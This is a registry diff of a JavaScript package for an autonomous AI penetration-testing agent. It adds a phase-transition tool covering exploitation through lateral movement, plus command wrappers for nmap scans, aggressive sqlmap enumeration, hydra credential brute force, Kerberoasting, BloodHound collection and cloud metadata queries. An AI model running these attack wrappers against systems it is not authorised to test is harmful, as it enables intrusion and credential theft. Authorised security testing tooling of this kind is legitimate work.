pentesting 0.40.2 → 0.40.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/main.js +902 -22
- package/package.json +1 -1
package/dist/main.js
CHANGED
|
@@ -306,7 +306,7 @@ var ORPHAN_PROCESS_NAMES = [
|
|
|
306
306
|
|
|
307
307
|
// src/shared/constants/agent.ts
|
|
308
308
|
var APP_NAME = "Pentest AI";
|
|
309
|
-
var APP_VERSION = "0.40.
|
|
309
|
+
var APP_VERSION = "0.40.4";
|
|
310
310
|
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
311
311
|
var LLM_ROLES = {
|
|
312
312
|
SYSTEM: "system",
|
|
@@ -444,6 +444,7 @@ var TOOL_NAMES = {
|
|
|
444
444
|
ADD_FINDING: "add_finding",
|
|
445
445
|
UPDATE_MISSION: "update_mission",
|
|
446
446
|
UPDATE_TODO: "update_todo",
|
|
447
|
+
UPDATE_PHASE: "update_phase",
|
|
447
448
|
HASH_CRACK: "hash_crack",
|
|
448
449
|
ADD_LOOT: "add_loot",
|
|
449
450
|
GET_STATE: "get_state",
|
|
@@ -2139,7 +2140,7 @@ var StateSerializer = class {
|
|
|
2139
2140
|
if (todo.length > 0) {
|
|
2140
2141
|
lines.push(`TODO (${todo.length}):`);
|
|
2141
2142
|
for (const t of todo.slice(0, DISPLAY_LIMITS.COMPACT_LIST_ITEMS)) {
|
|
2142
|
-
const status = t.status ===
|
|
2143
|
+
const status = t.status === TODO_STATUSES.DONE ? "[x]" : t.status === TODO_STATUSES.IN_PROGRESS ? "[->]" : "[ ]";
|
|
2143
2144
|
lines.push(` ${status} ${t.content} (${t.priority})`);
|
|
2144
2145
|
}
|
|
2145
2146
|
}
|
|
@@ -2603,6 +2604,13 @@ var PersistentMemory = class {
|
|
|
2603
2604
|
getSuccessfulTechniques(service) {
|
|
2604
2605
|
return this.knowledge.successfulTechniques.filter((t) => t.service.toLowerCase().includes(service.toLowerCase())).sort((a, b) => b.successCount - a.successCount);
|
|
2605
2606
|
}
|
|
2607
|
+
/**
|
|
2608
|
+
* Clear all knowledge (for testing isolation).
|
|
2609
|
+
*/
|
|
2610
|
+
clear() {
|
|
2611
|
+
this.knowledge = { successfulTechniques: [], failurePatterns: [], techFacts: [] };
|
|
2612
|
+
this.save();
|
|
2613
|
+
}
|
|
2606
2614
|
/**
|
|
2607
2615
|
* Format for prompt injection (most relevant persistent knowledge).
|
|
2608
2616
|
*/
|
|
@@ -4182,7 +4190,7 @@ All ports freed. All children killed.`
|
|
|
4182
4190
|
];
|
|
4183
4191
|
|
|
4184
4192
|
// src/engine/tools/pentest-state-tools.ts
|
|
4185
|
-
var createStateTools = (state) => [
|
|
4193
|
+
var createStateTools = (state, events) => [
|
|
4186
4194
|
{
|
|
4187
4195
|
name: TOOL_NAMES.UPDATE_MISSION,
|
|
4188
4196
|
description: `Update the mission summary and checklist.
|
|
@@ -4233,6 +4241,58 @@ Checklist Items: ${state.getMissionChecklist().length}`
|
|
|
4233
4241
|
description: "Get current engagement state summary",
|
|
4234
4242
|
parameters: {},
|
|
4235
4243
|
execute: async () => ({ success: true, output: state.toPrompt() })
|
|
4244
|
+
},
|
|
4245
|
+
{
|
|
4246
|
+
name: TOOL_NAMES.UPDATE_PHASE,
|
|
4247
|
+
description: `Update the current penetration testing phase.
|
|
4248
|
+
Use this to signal progress through the engagement lifecycle.
|
|
4249
|
+
Valid phases: ${Object.values(PHASES).join(", ")}
|
|
4250
|
+
Phase transitions should reflect actual progress, not just time passed.
|
|
4251
|
+
Examples:
|
|
4252
|
+
- recon \u2192 vulnerability_analysis: After port scanning and service enumeration
|
|
4253
|
+
- vulnerability_analysis \u2192 exploit: After finding exploitable vulnerabilities
|
|
4254
|
+
- exploit \u2192 post_exploitation: After gaining initial access
|
|
4255
|
+
- post_exploitation \u2192 privilege_escalation: When seeking higher privileges
|
|
4256
|
+
- privilege_escalation \u2192 lateral_movement: When pivoting to other hosts`,
|
|
4257
|
+
parameters: {
|
|
4258
|
+
phase: {
|
|
4259
|
+
type: "string",
|
|
4260
|
+
description: "The new phase to transition to",
|
|
4261
|
+
enum: Object.values(PHASES)
|
|
4262
|
+
},
|
|
4263
|
+
reason: {
|
|
4264
|
+
type: "string",
|
|
4265
|
+
description: "Brief explanation for the phase change"
|
|
4266
|
+
}
|
|
4267
|
+
},
|
|
4268
|
+
required: ["phase"],
|
|
4269
|
+
execute: async (p) => {
|
|
4270
|
+
const newPhase = p.phase;
|
|
4271
|
+
const reason = p.reason || "Phase transition";
|
|
4272
|
+
const oldPhase = state.getPhase();
|
|
4273
|
+
const validPhases = Object.values(PHASES);
|
|
4274
|
+
if (!validPhases.includes(newPhase)) {
|
|
4275
|
+
return {
|
|
4276
|
+
success: false,
|
|
4277
|
+
output: `Invalid phase. Valid phases: ${validPhases.join(", ")}`
|
|
4278
|
+
};
|
|
4279
|
+
}
|
|
4280
|
+
state.setPhase(newPhase);
|
|
4281
|
+
events.emit({
|
|
4282
|
+
type: EVENT_TYPES.PHASE_CHANGE,
|
|
4283
|
+
timestamp: Date.now(),
|
|
4284
|
+
data: {
|
|
4285
|
+
fromPhase: oldPhase,
|
|
4286
|
+
toPhase: newPhase,
|
|
4287
|
+
reason
|
|
4288
|
+
}
|
|
4289
|
+
});
|
|
4290
|
+
return {
|
|
4291
|
+
success: true,
|
|
4292
|
+
output: `Phase changed: ${oldPhase} \u2192 ${newPhase}
|
|
4293
|
+
Reason: ${reason}`
|
|
4294
|
+
};
|
|
4295
|
+
}
|
|
4236
4296
|
}
|
|
4237
4297
|
];
|
|
4238
4298
|
|
|
@@ -6270,8 +6330,8 @@ Returns: All available wordlists with their paths, sizes, and categories.`,
|
|
|
6270
6330
|
];
|
|
6271
6331
|
|
|
6272
6332
|
// src/engine/tools/pentest.ts
|
|
6273
|
-
var createPentestTools = (state) => [
|
|
6274
|
-
...createStateTools(state),
|
|
6333
|
+
var createPentestTools = (state, events) => [
|
|
6334
|
+
...createStateTools(state, events),
|
|
6275
6335
|
...createTargetTools(state),
|
|
6276
6336
|
...createIntelTools(state),
|
|
6277
6337
|
...createAttackTools(state)
|
|
@@ -7121,6 +7181,548 @@ Returns recommendations on process status, port conflicts, long-running tasks, e
|
|
|
7121
7181
|
}
|
|
7122
7182
|
];
|
|
7123
7183
|
|
|
7184
|
+
// src/domains/network/tools.ts
|
|
7185
|
+
var NETWORK_TOOLS = [
|
|
7186
|
+
{
|
|
7187
|
+
name: TOOL_NAMES.NMAP_QUICK,
|
|
7188
|
+
description: "Quick nmap scan - fast discovery",
|
|
7189
|
+
parameters: {
|
|
7190
|
+
target: { type: "string", description: "Target IP/CIDR" }
|
|
7191
|
+
},
|
|
7192
|
+
required: ["target"],
|
|
7193
|
+
execute: async (params) => {
|
|
7194
|
+
const target = params.target;
|
|
7195
|
+
return await runCommand("nmap", ["-Pn", "-T4", "-F", target]);
|
|
7196
|
+
}
|
|
7197
|
+
},
|
|
7198
|
+
{
|
|
7199
|
+
name: TOOL_NAMES.NMAP_FULL,
|
|
7200
|
+
description: "Full nmap scan - comprehensive",
|
|
7201
|
+
parameters: {
|
|
7202
|
+
target: { type: "string", description: "Target IP/CIDR" }
|
|
7203
|
+
},
|
|
7204
|
+
required: ["target"],
|
|
7205
|
+
execute: async (params) => {
|
|
7206
|
+
const target = params.target;
|
|
7207
|
+
return await runCommand("nmap", ["-Pn", "-T4", "-sV", "-O", "-p-", target]);
|
|
7208
|
+
}
|
|
7209
|
+
},
|
|
7210
|
+
{
|
|
7211
|
+
name: TOOL_NAMES.RUSTSCAN,
|
|
7212
|
+
description: "RustScan - very fast port discovery",
|
|
7213
|
+
parameters: {
|
|
7214
|
+
target: { type: "string", description: "Target IP" }
|
|
7215
|
+
},
|
|
7216
|
+
required: ["target"],
|
|
7217
|
+
execute: async (params) => {
|
|
7218
|
+
const target = params.target;
|
|
7219
|
+
return await runCommand("rustscan", ["-a", target, "--range", "1-65535"]);
|
|
7220
|
+
}
|
|
7221
|
+
}
|
|
7222
|
+
];
|
|
7223
|
+
var NETWORK_CONFIG2 = {
|
|
7224
|
+
name: SERVICE_CATEGORIES.NETWORK,
|
|
7225
|
+
description: "Network reconnaissance - scanning, OS fingerprinting",
|
|
7226
|
+
tools: NETWORK_TOOLS,
|
|
7227
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7228
|
+
defaultApproval: APPROVAL_LEVELS.CONFIRM,
|
|
7229
|
+
commonPorts: [21, 22, 80, 443, 445, 3389, 8080],
|
|
7230
|
+
commonServices: [SERVICES.FTP, SERVICES.SSH, SERVICES.HTTP, SERVICES.HTTPS, SERVICES.SMB]
|
|
7231
|
+
};
|
|
7232
|
+
|
|
7233
|
+
// src/domains/web/tools.ts
|
|
7234
|
+
var WEB_TOOLS = [
|
|
7235
|
+
{
|
|
7236
|
+
name: TOOL_NAMES.HTTP_FINGERPRINT,
|
|
7237
|
+
description: "HTTP fingerprinting - detect WAF, server type",
|
|
7238
|
+
parameters: {
|
|
7239
|
+
target: { type: "string", description: "Target URL" }
|
|
7240
|
+
},
|
|
7241
|
+
required: ["target"],
|
|
7242
|
+
execute: async (params) => {
|
|
7243
|
+
const target = params.target;
|
|
7244
|
+
return await runCommand("curl", ["-sI", target]);
|
|
7245
|
+
}
|
|
7246
|
+
},
|
|
7247
|
+
{
|
|
7248
|
+
name: TOOL_NAMES.WAF_DETECT,
|
|
7249
|
+
description: "WAF detection using wafw00f",
|
|
7250
|
+
parameters: {
|
|
7251
|
+
target: { type: "string", description: "Target URL" }
|
|
7252
|
+
},
|
|
7253
|
+
required: ["target"],
|
|
7254
|
+
execute: async (params) => {
|
|
7255
|
+
const target = params.target;
|
|
7256
|
+
return await runCommand("wafw00f", [target]);
|
|
7257
|
+
}
|
|
7258
|
+
},
|
|
7259
|
+
{
|
|
7260
|
+
name: TOOL_NAMES.DIRSEARCH,
|
|
7261
|
+
description: "Directory bruteforcing",
|
|
7262
|
+
parameters: {
|
|
7263
|
+
target: { type: "string", description: "Target URL" }
|
|
7264
|
+
},
|
|
7265
|
+
required: ["target"],
|
|
7266
|
+
execute: async (params) => {
|
|
7267
|
+
const target = params.target;
|
|
7268
|
+
return await runCommand("dirsearch", ["-u", target, "--quiet"]);
|
|
7269
|
+
}
|
|
7270
|
+
},
|
|
7271
|
+
{
|
|
7272
|
+
name: TOOL_NAMES.NUCLEI_WEB,
|
|
7273
|
+
description: "Nuclei web vulnerability scanner",
|
|
7274
|
+
parameters: {
|
|
7275
|
+
target: { type: "string", description: "Target URL" },
|
|
7276
|
+
severity: { type: "string", description: "Severities to check" }
|
|
7277
|
+
},
|
|
7278
|
+
required: ["target"],
|
|
7279
|
+
execute: async (params) => {
|
|
7280
|
+
const target = params.target;
|
|
7281
|
+
const severity = params.severity || "medium,critical,high";
|
|
7282
|
+
return await runCommand("nuclei", ["-u", target, "-s", severity, "-silent"]);
|
|
7283
|
+
}
|
|
7284
|
+
}
|
|
7285
|
+
];
|
|
7286
|
+
var WEB_CONFIG = {
|
|
7287
|
+
name: SERVICE_CATEGORIES.WEB,
|
|
7288
|
+
description: "Web application testing - HTTP/HTTPS, APIs",
|
|
7289
|
+
tools: WEB_TOOLS,
|
|
7290
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7291
|
+
defaultApproval: APPROVAL_LEVELS.CONFIRM,
|
|
7292
|
+
commonPorts: [80, 443, 8080],
|
|
7293
|
+
commonServices: [SERVICES.HTTP, SERVICES.HTTPS]
|
|
7294
|
+
};
|
|
7295
|
+
|
|
7296
|
+
// src/domains/database/tools.ts
|
|
7297
|
+
var DATABASE_TOOLS = [
|
|
7298
|
+
{
|
|
7299
|
+
name: TOOL_NAMES.SQLMAP_BASIC,
|
|
7300
|
+
description: "SQL injection testing with sqlmap - basic scan",
|
|
7301
|
+
parameters: {
|
|
7302
|
+
target: { type: "string", description: "Target URL" }
|
|
7303
|
+
},
|
|
7304
|
+
required: ["target"],
|
|
7305
|
+
execute: async (params) => {
|
|
7306
|
+
const target = params.target;
|
|
7307
|
+
return await runCommand("sqlmap", ["-u", target, "--batch", "--risk=1", "--level=1"]);
|
|
7308
|
+
}
|
|
7309
|
+
},
|
|
7310
|
+
{
|
|
7311
|
+
name: TOOL_NAMES.SQLMAP_ADVANCED,
|
|
7312
|
+
description: "SQL injection with sqlmap - full enumeration",
|
|
7313
|
+
parameters: {
|
|
7314
|
+
target: { type: "string", description: "Target URL" }
|
|
7315
|
+
},
|
|
7316
|
+
required: ["target"],
|
|
7317
|
+
execute: async (params) => {
|
|
7318
|
+
const target = params.target;
|
|
7319
|
+
return await runCommand("sqlmap", ["-u", target, "--batch", "--risk=3", "--level=5", "--dbs", "--tables"]);
|
|
7320
|
+
}
|
|
7321
|
+
},
|
|
7322
|
+
{
|
|
7323
|
+
name: TOOL_NAMES.MYSQL_ENUM,
|
|
7324
|
+
description: "MySQL enumeration - version, users, databases",
|
|
7325
|
+
parameters: {
|
|
7326
|
+
target: { type: "string", description: "Target IP/hostname" },
|
|
7327
|
+
port: { type: "string", description: "Port (default 3306)" }
|
|
7328
|
+
},
|
|
7329
|
+
required: ["target"],
|
|
7330
|
+
execute: async (params) => {
|
|
7331
|
+
const target = params.target;
|
|
7332
|
+
const port = params.port || "3306";
|
|
7333
|
+
return await runCommand("mysql", ["-h", target, "-P", port, "-e", "SELECT VERSION(), USER(), DATABASE();"]);
|
|
7334
|
+
}
|
|
7335
|
+
},
|
|
7336
|
+
{
|
|
7337
|
+
name: TOOL_NAMES.POSTGRES_ENUM,
|
|
7338
|
+
description: "PostgreSQL enumeration",
|
|
7339
|
+
parameters: {
|
|
7340
|
+
target: { type: "string", description: "Target IP" }
|
|
7341
|
+
},
|
|
7342
|
+
required: ["target"],
|
|
7343
|
+
execute: async (params) => {
|
|
7344
|
+
const target = params.target;
|
|
7345
|
+
return await runCommand("psql", ["-h", target, "-U", "postgres", "-c", "SELECT version(); SELECT datname FROM pg_database;"]);
|
|
7346
|
+
}
|
|
7347
|
+
},
|
|
7348
|
+
{
|
|
7349
|
+
name: TOOL_NAMES.REDIS_ENUM,
|
|
7350
|
+
description: "Redis enumeration",
|
|
7351
|
+
parameters: {
|
|
7352
|
+
target: { type: "string", description: "Target IP" },
|
|
7353
|
+
port: { type: "string", description: "Port (default 6379)" }
|
|
7354
|
+
},
|
|
7355
|
+
required: ["target"],
|
|
7356
|
+
execute: async (params) => {
|
|
7357
|
+
const target = params.target;
|
|
7358
|
+
const port = params.port || "6379";
|
|
7359
|
+
return await runCommand("redis-cli", ["-h", target, "-p", port, "INFO"]);
|
|
7360
|
+
}
|
|
7361
|
+
},
|
|
7362
|
+
{
|
|
7363
|
+
name: TOOL_NAMES.DB_BRUTE,
|
|
7364
|
+
description: "Brute force database credentials",
|
|
7365
|
+
parameters: {
|
|
7366
|
+
target: { type: "string", description: "Target IP" },
|
|
7367
|
+
service: { type: "string", description: "Service (mysql, postgres, etc.)" }
|
|
7368
|
+
},
|
|
7369
|
+
required: ["target", "service"],
|
|
7370
|
+
execute: async (params) => {
|
|
7371
|
+
const target = params.target;
|
|
7372
|
+
const service = params.service || SERVICES.MYSQL;
|
|
7373
|
+
return await runCommand("hydra", [
|
|
7374
|
+
"-L",
|
|
7375
|
+
WORDLISTS.USERNAMES,
|
|
7376
|
+
"-P",
|
|
7377
|
+
WORDLISTS.COMMON_PASSWORDS,
|
|
7378
|
+
target,
|
|
7379
|
+
service
|
|
7380
|
+
]);
|
|
7381
|
+
}
|
|
7382
|
+
}
|
|
7383
|
+
];
|
|
7384
|
+
var DATABASE_CONFIG = {
|
|
7385
|
+
name: SERVICE_CATEGORIES.DATABASE,
|
|
7386
|
+
description: "Database exploitation - SQL injection, credential extraction",
|
|
7387
|
+
tools: DATABASE_TOOLS,
|
|
7388
|
+
dangerLevel: DANGER_LEVELS.EXPLOIT,
|
|
7389
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7390
|
+
commonPorts: [1433, 3306, 5432, 6379, 27017],
|
|
7391
|
+
commonServices: [SERVICES.MYSQL, SERVICES.POSTGRES, SERVICES.REDIS, SERVICES.MONGODB]
|
|
7392
|
+
};
|
|
7393
|
+
|
|
7394
|
+
// src/domains/ad/tools.ts
|
|
7395
|
+
var AD_TOOLS = [
|
|
7396
|
+
{
|
|
7397
|
+
name: TOOL_NAMES.BLOODHOUND_COLLECT,
|
|
7398
|
+
description: "BloodHound data collection",
|
|
7399
|
+
parameters: {
|
|
7400
|
+
target: { type: "string", description: "Target DC IP" },
|
|
7401
|
+
domain: { type: "string", description: "Domain name" }
|
|
7402
|
+
},
|
|
7403
|
+
required: ["target"],
|
|
7404
|
+
execute: async (params) => {
|
|
7405
|
+
const target = params.target;
|
|
7406
|
+
const domain = params.domain || "DOMAIN";
|
|
7407
|
+
return await runCommand("bloodhound-python", ["-c", "All", "-d", domain, target, "--zip"]);
|
|
7408
|
+
}
|
|
7409
|
+
},
|
|
7410
|
+
{
|
|
7411
|
+
name: TOOL_NAMES.KERBEROAST,
|
|
7412
|
+
description: "Kerberoasting attack",
|
|
7413
|
+
parameters: {
|
|
7414
|
+
target: { type: "string", description: "DC IP" },
|
|
7415
|
+
user: { type: "string", description: "Domain user" },
|
|
7416
|
+
password: { type: "string", description: "Password" }
|
|
7417
|
+
},
|
|
7418
|
+
required: ["target", "user", "password"],
|
|
7419
|
+
execute: async (params) => {
|
|
7420
|
+
const target = params.target;
|
|
7421
|
+
return await runCommand("GetUserSPNs.py", ["-dc-ip", target, `${params.user}:${params.password}`]);
|
|
7422
|
+
}
|
|
7423
|
+
},
|
|
7424
|
+
{
|
|
7425
|
+
name: TOOL_NAMES.LDAP_ENUM,
|
|
7426
|
+
description: "LDAP enumeration",
|
|
7427
|
+
parameters: {
|
|
7428
|
+
target: { type: "string", description: "LDAP Server" }
|
|
7429
|
+
},
|
|
7430
|
+
required: ["target"],
|
|
7431
|
+
execute: async (params) => {
|
|
7432
|
+
const target = params.target;
|
|
7433
|
+
return await runCommand("ldapsearch", ["-x", "-H", `ldap://${target}`, "-b", ""]);
|
|
7434
|
+
}
|
|
7435
|
+
}
|
|
7436
|
+
];
|
|
7437
|
+
var AD_CONFIG = {
|
|
7438
|
+
name: SERVICE_CATEGORIES.AD,
|
|
7439
|
+
description: "Active Directory and Windows domain",
|
|
7440
|
+
tools: AD_TOOLS,
|
|
7441
|
+
dangerLevel: DANGER_LEVELS.EXPLOIT,
|
|
7442
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7443
|
+
commonPorts: [88, 389, 445],
|
|
7444
|
+
commonServices: [SERVICES.AD, SERVICES.SMB]
|
|
7445
|
+
};
|
|
7446
|
+
|
|
7447
|
+
// src/domains/email/tools.ts
|
|
7448
|
+
var EMAIL_TOOLS = [
|
|
7449
|
+
{
|
|
7450
|
+
name: TOOL_NAMES.SMTP_ENUM,
|
|
7451
|
+
description: "SMTP user enumeration",
|
|
7452
|
+
parameters: {
|
|
7453
|
+
target: { type: "string", description: "SMTP server" }
|
|
7454
|
+
},
|
|
7455
|
+
required: ["target"],
|
|
7456
|
+
execute: async (params) => {
|
|
7457
|
+
return await runCommand("smtp-user-enum", ["-M", "VRFY", "-t", params.target]);
|
|
7458
|
+
}
|
|
7459
|
+
}
|
|
7460
|
+
];
|
|
7461
|
+
var EMAIL_CONFIG = {
|
|
7462
|
+
name: SERVICE_CATEGORIES.EMAIL,
|
|
7463
|
+
description: "Email services - SMTP, IMAP, POP3",
|
|
7464
|
+
tools: EMAIL_TOOLS,
|
|
7465
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7466
|
+
defaultApproval: APPROVAL_LEVELS.CONFIRM,
|
|
7467
|
+
commonPorts: [25, 110, 143, 465, 587, 993, 995],
|
|
7468
|
+
commonServices: [SERVICES.SMTP, SERVICES.POP3, SERVICES.IMAP]
|
|
7469
|
+
};
|
|
7470
|
+
|
|
7471
|
+
// src/domains/remote-access/tools.ts
|
|
7472
|
+
var REMOTE_ACCESS_TOOLS = [
|
|
7473
|
+
{
|
|
7474
|
+
name: TOOL_NAMES.SSH_ENUM,
|
|
7475
|
+
description: "SSH enumeration",
|
|
7476
|
+
parameters: {
|
|
7477
|
+
target: { type: "string", description: "SSH Server" }
|
|
7478
|
+
},
|
|
7479
|
+
required: ["target"],
|
|
7480
|
+
execute: async (params) => {
|
|
7481
|
+
return await runCommand("ssh-audit", [params.target]);
|
|
7482
|
+
}
|
|
7483
|
+
},
|
|
7484
|
+
{
|
|
7485
|
+
name: TOOL_NAMES.RDP_ENUM,
|
|
7486
|
+
description: "RDP enumeration",
|
|
7487
|
+
parameters: {
|
|
7488
|
+
target: { type: "string", description: "RDP Server" }
|
|
7489
|
+
},
|
|
7490
|
+
required: ["target"],
|
|
7491
|
+
execute: async (params) => {
|
|
7492
|
+
return await runCommand("nmap", ["-p", "3389", "--script", "rdp-enum-encryption,rdp-ntlm-info", params.target]);
|
|
7493
|
+
}
|
|
7494
|
+
}
|
|
7495
|
+
];
|
|
7496
|
+
var REMOTE_ACCESS_CONFIG = {
|
|
7497
|
+
name: SERVICE_CATEGORIES.REMOTE_ACCESS,
|
|
7498
|
+
description: "Remote access services - SSH, RDP, VNC",
|
|
7499
|
+
tools: REMOTE_ACCESS_TOOLS,
|
|
7500
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7501
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7502
|
+
commonPorts: [22, 3389, 5900],
|
|
7503
|
+
commonServices: [SERVICES.SSH, SERVICES.RDP, SERVICES.VNC]
|
|
7504
|
+
};
|
|
7505
|
+
|
|
7506
|
+
// src/domains/file-sharing/tools.ts
|
|
7507
|
+
var FILE_SHARING_TOOLS = [
|
|
7508
|
+
{
|
|
7509
|
+
name: TOOL_NAMES.FTP_ENUM,
|
|
7510
|
+
description: "FTP enumeration",
|
|
7511
|
+
parameters: {
|
|
7512
|
+
target: { type: "string", description: "FTP Server" }
|
|
7513
|
+
},
|
|
7514
|
+
required: ["target"],
|
|
7515
|
+
execute: async (params) => {
|
|
7516
|
+
return await runCommand("nmap", ["-p", "21", "--script", "ftp-anon,ftp-syst", params.target]);
|
|
7517
|
+
}
|
|
7518
|
+
},
|
|
7519
|
+
{
|
|
7520
|
+
name: TOOL_NAMES.SMB_ENUM,
|
|
7521
|
+
description: "SMB enumeration",
|
|
7522
|
+
parameters: {
|
|
7523
|
+
target: { type: "string", description: "SMB Server" }
|
|
7524
|
+
},
|
|
7525
|
+
required: ["target"],
|
|
7526
|
+
execute: async (params) => {
|
|
7527
|
+
return await runCommand("enum4linux", ["-a", params.target]);
|
|
7528
|
+
}
|
|
7529
|
+
}
|
|
7530
|
+
];
|
|
7531
|
+
var FILE_SHARING_CONFIG = {
|
|
7532
|
+
name: SERVICE_CATEGORIES.FILE_SHARING,
|
|
7533
|
+
description: "File sharing protocols - SMB, FTP, NFS",
|
|
7534
|
+
tools: FILE_SHARING_TOOLS,
|
|
7535
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7536
|
+
defaultApproval: APPROVAL_LEVELS.CONFIRM,
|
|
7537
|
+
commonPorts: [21, 139, 445, 2049],
|
|
7538
|
+
commonServices: [SERVICES.FTP, SERVICES.SMB, SERVICES.NFS]
|
|
7539
|
+
};
|
|
7540
|
+
|
|
7541
|
+
// src/domains/cloud/tools.ts
|
|
7542
|
+
var CLOUD_TOOLS = [
|
|
7543
|
+
{
|
|
7544
|
+
name: TOOL_NAMES.AWS_S3_CHECK,
|
|
7545
|
+
description: "S3 bucket security check",
|
|
7546
|
+
parameters: {
|
|
7547
|
+
bucket: { type: "string", description: "Bucket name" }
|
|
7548
|
+
},
|
|
7549
|
+
required: ["bucket"],
|
|
7550
|
+
execute: async (params) => {
|
|
7551
|
+
const bucket = params.bucket;
|
|
7552
|
+
return await runCommand("aws", ["s3", "ls", `s3://${bucket}`, "--no-sign-request"]);
|
|
7553
|
+
}
|
|
7554
|
+
},
|
|
7555
|
+
{
|
|
7556
|
+
name: TOOL_NAMES.CLOUD_META_CHECK,
|
|
7557
|
+
description: "Check cloud metadata service access",
|
|
7558
|
+
parameters: {
|
|
7559
|
+
provider: { type: "string", description: "aws, azure, or gcp" }
|
|
7560
|
+
},
|
|
7561
|
+
required: ["provider"],
|
|
7562
|
+
execute: async (params) => {
|
|
7563
|
+
const provider = params.provider;
|
|
7564
|
+
if (provider === "aws") return await runCommand("curl", ["http://169.254.169.254/latest/meta-data/"]);
|
|
7565
|
+
if (provider === "azure") return await runCommand("curl", ["-H", "Metadata:true", "http://169.254.169.254/metadata/instance?api-version=2021-02-01"]);
|
|
7566
|
+
return await runCommand("curl", ["-H", "Metadata-Flavor: Google", "http://metadata.google.internal/computeMetadata/v1/"]);
|
|
7567
|
+
}
|
|
7568
|
+
}
|
|
7569
|
+
];
|
|
7570
|
+
var CLOUD_CONFIG = {
|
|
7571
|
+
name: SERVICE_CATEGORIES.CLOUD,
|
|
7572
|
+
description: "Cloud infrastructure - AWS, Azure, GCP",
|
|
7573
|
+
tools: CLOUD_TOOLS,
|
|
7574
|
+
dangerLevel: DANGER_LEVELS.EXPLOIT,
|
|
7575
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7576
|
+
commonPorts: [443],
|
|
7577
|
+
commonServices: [SERVICES.HTTP, SERVICES.HTTPS]
|
|
7578
|
+
};
|
|
7579
|
+
|
|
7580
|
+
// src/domains/container/tools.ts
|
|
7581
|
+
var CONTAINER_TOOLS = [
|
|
7582
|
+
{
|
|
7583
|
+
name: TOOL_NAMES.DOCKER_PS,
|
|
7584
|
+
description: "List running Docker containers",
|
|
7585
|
+
parameters: {
|
|
7586
|
+
host: { type: "string", description: "Docker host" }
|
|
7587
|
+
},
|
|
7588
|
+
required: ["host"],
|
|
7589
|
+
execute: async (params) => {
|
|
7590
|
+
return await runCommand("docker", ["-H", params.host, "ps"]);
|
|
7591
|
+
}
|
|
7592
|
+
},
|
|
7593
|
+
{
|
|
7594
|
+
name: TOOL_NAMES.KUBE_GET_PODS,
|
|
7595
|
+
description: "List Kubernetes pods",
|
|
7596
|
+
parameters: {
|
|
7597
|
+
context: { type: "string", description: "Kube context" }
|
|
7598
|
+
},
|
|
7599
|
+
required: ["context"],
|
|
7600
|
+
execute: async (params) => {
|
|
7601
|
+
return await runCommand("kubectl", ["--context", params.context, "get", "pods"]);
|
|
7602
|
+
}
|
|
7603
|
+
}
|
|
7604
|
+
];
|
|
7605
|
+
var CONTAINER_CONFIG = {
|
|
7606
|
+
name: SERVICE_CATEGORIES.CONTAINER,
|
|
7607
|
+
description: "Container platforms - Docker, Kubernetes",
|
|
7608
|
+
tools: CONTAINER_TOOLS,
|
|
7609
|
+
dangerLevel: DANGER_LEVELS.EXPLOIT,
|
|
7610
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7611
|
+
commonPorts: [2375, 2376, 5e3, 6443],
|
|
7612
|
+
commonServices: [SERVICES.DOCKER, SERVICES.KUBERNETES]
|
|
7613
|
+
};
|
|
7614
|
+
|
|
7615
|
+
// src/domains/api/tools.ts
|
|
7616
|
+
var API_TOOLS = [
|
|
7617
|
+
{
|
|
7618
|
+
name: TOOL_NAMES.API_DISCOVER,
|
|
7619
|
+
description: "API endpoint discovery - using Arjun",
|
|
7620
|
+
parameters: {
|
|
7621
|
+
target: { type: "string", description: "Target URL" }
|
|
7622
|
+
},
|
|
7623
|
+
required: ["target"],
|
|
7624
|
+
execute: async (params) => {
|
|
7625
|
+
const target = params.target;
|
|
7626
|
+
return await runCommand("arjun", ["-u", target, "-t", "20"]);
|
|
7627
|
+
}
|
|
7628
|
+
},
|
|
7629
|
+
{
|
|
7630
|
+
name: TOOL_NAMES.GRAPHQL_INTROSPECT,
|
|
7631
|
+
description: "GraphQL introspection - schema discovery",
|
|
7632
|
+
parameters: {
|
|
7633
|
+
target: { type: "string", description: "GQL Endpoint" }
|
|
7634
|
+
},
|
|
7635
|
+
required: ["target"],
|
|
7636
|
+
execute: async (params) => {
|
|
7637
|
+
const target = params.target;
|
|
7638
|
+
return await runCommand("curl", ["-X", "POST", target, "-H", "Content-Type: application/json", "-d", '{"query":"{__schema {queryType {name}}}"}']);
|
|
7639
|
+
}
|
|
7640
|
+
},
|
|
7641
|
+
{
|
|
7642
|
+
name: TOOL_NAMES.SWAGGER_PARSE,
|
|
7643
|
+
description: "Parse Swagger/OpenAPI specification",
|
|
7644
|
+
parameters: {
|
|
7645
|
+
spec: { type: "string", description: "URL to swagger.json/yaml" }
|
|
7646
|
+
},
|
|
7647
|
+
required: ["spec"],
|
|
7648
|
+
execute: async (params) => {
|
|
7649
|
+
const spec = params.spec;
|
|
7650
|
+
return await runCommand("swagger-codegen", ["generate", "-i", spec, "-l", "html2"]);
|
|
7651
|
+
}
|
|
7652
|
+
},
|
|
7653
|
+
{
|
|
7654
|
+
name: TOOL_NAMES.API_FUZZ,
|
|
7655
|
+
description: "General API fuzzing",
|
|
7656
|
+
parameters: {
|
|
7657
|
+
target: { type: "string", description: "Base API URL" },
|
|
7658
|
+
wordlist: { type: "string", description: "Wordlist path" }
|
|
7659
|
+
},
|
|
7660
|
+
required: ["target"],
|
|
7661
|
+
execute: async (params) => {
|
|
7662
|
+
const target = params.target;
|
|
7663
|
+
const wordlist = params.wordlist || WORDLISTS.API_FUZZ;
|
|
7664
|
+
return await runCommand("ffuf", ["-u", `${target}/FUZZ`, "-w", wordlist, "-mc", "all"]);
|
|
7665
|
+
}
|
|
7666
|
+
}
|
|
7667
|
+
];
|
|
